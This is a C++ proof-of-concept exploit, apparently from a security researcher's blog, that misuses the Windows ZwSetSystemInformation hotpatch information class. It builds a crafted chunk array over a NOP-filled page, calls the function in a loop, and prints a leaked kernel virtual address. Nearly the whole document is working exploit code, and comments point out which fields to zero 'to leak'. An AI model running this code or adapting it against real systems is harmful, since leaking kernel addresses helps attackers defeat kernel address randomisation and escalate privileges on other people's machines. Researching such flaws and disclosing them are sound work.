Kernel VA Leak

//http://waleedassar.blogspot.com


#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

#define SystemHotpatchInformation    0x45

extern "C"
{
    int __stdcall ZwSetSystemInformation(unsigned long,void*,unsigned long);
}


struct LARGE_INTEGER_
{
    unsigned long Low;
    unsigned long High;
};

struct _HOTPATCH_CHUNK
{
    LARGE_INTEGER_ Address; //To be Probed, Locked, mapped, etc
    LARGE_INTEGER_ SourceAddress; //receives mapped address, system-wide kernel virtual address

    unsigned long SecondCompareOffset; // Set it to Zero to leak
    unsigned long ByteCount;
    unsigned long SecondCompareOffset_x;//Set it to Zero to leak
    unsigned long CompareOffset;//Set it to Zero to leak
    unsigned long CompareSize;
    unsigned long Pad4;
};

struct _HOTPATCH_INFO
{
    unsigned long Flags;
        unsigned long Size;
        unsigned long NumberOfChunks;
        unsigned long pad0;
    _HOTPATCH_CHUNK Chunk[1];//You can increase it
};

void* pNops;
_HOTPATCH_INFO* pInput;

void Alloc(unsigned long TotalSize)
{
    pNops=VirtualAlloc(0,0x1000,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);

    //---------------------------
    pInput=(_HOTPATCH_INFO*)VirtualAlloc(0,TotalSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);

}


void main()
{


   unsigned long NumberOfChunks=0x650;
   unsigned long TotalSize = ((NumberOfChunks+1)*sizeof(_HOTPATCH_CHUNK))+0x10;
   printf("Total Size is %x\r\n",TotalSize);
   Alloc(TotalSize);

   while(1)
   {
        memset(pNops,0x90,0x1000);
        memset(pInput,0,TotalSize);
        pInput->Flags=0;
        pInput->Size=TotalSize;
        pInput->NumberOfChunks=NumberOfChunks+1;
        unsigned long i=0;
        for(i=0;i<NumberOfChunks;i++)
        {
             pInput->Chunk[i].Address.Low=(unsigned long)pNops;
             pInput->Chunk[i].ByteCount=0x1000;
        }
        pInput->Chunk[i].Address.Low=(unsigned long)pNops; //(unsigned long)0x7FFE0000;
        pInput->Chunk[i].ByteCount=0x1000;
        int ret=ZwSetSystemInformation(SystemHotpatchInformation,pInput,TotalSize);
        printf("Return value is %x\r\n",ret);
        if(ret==0)
        {
            printf("Leaked address is %p`%p\r\n",*(unsigned long*)((unsigned long)pNops+0x001C),*(unsigned long*)((unsigned long)pNops+0x018) );
        }
   }
   return;
}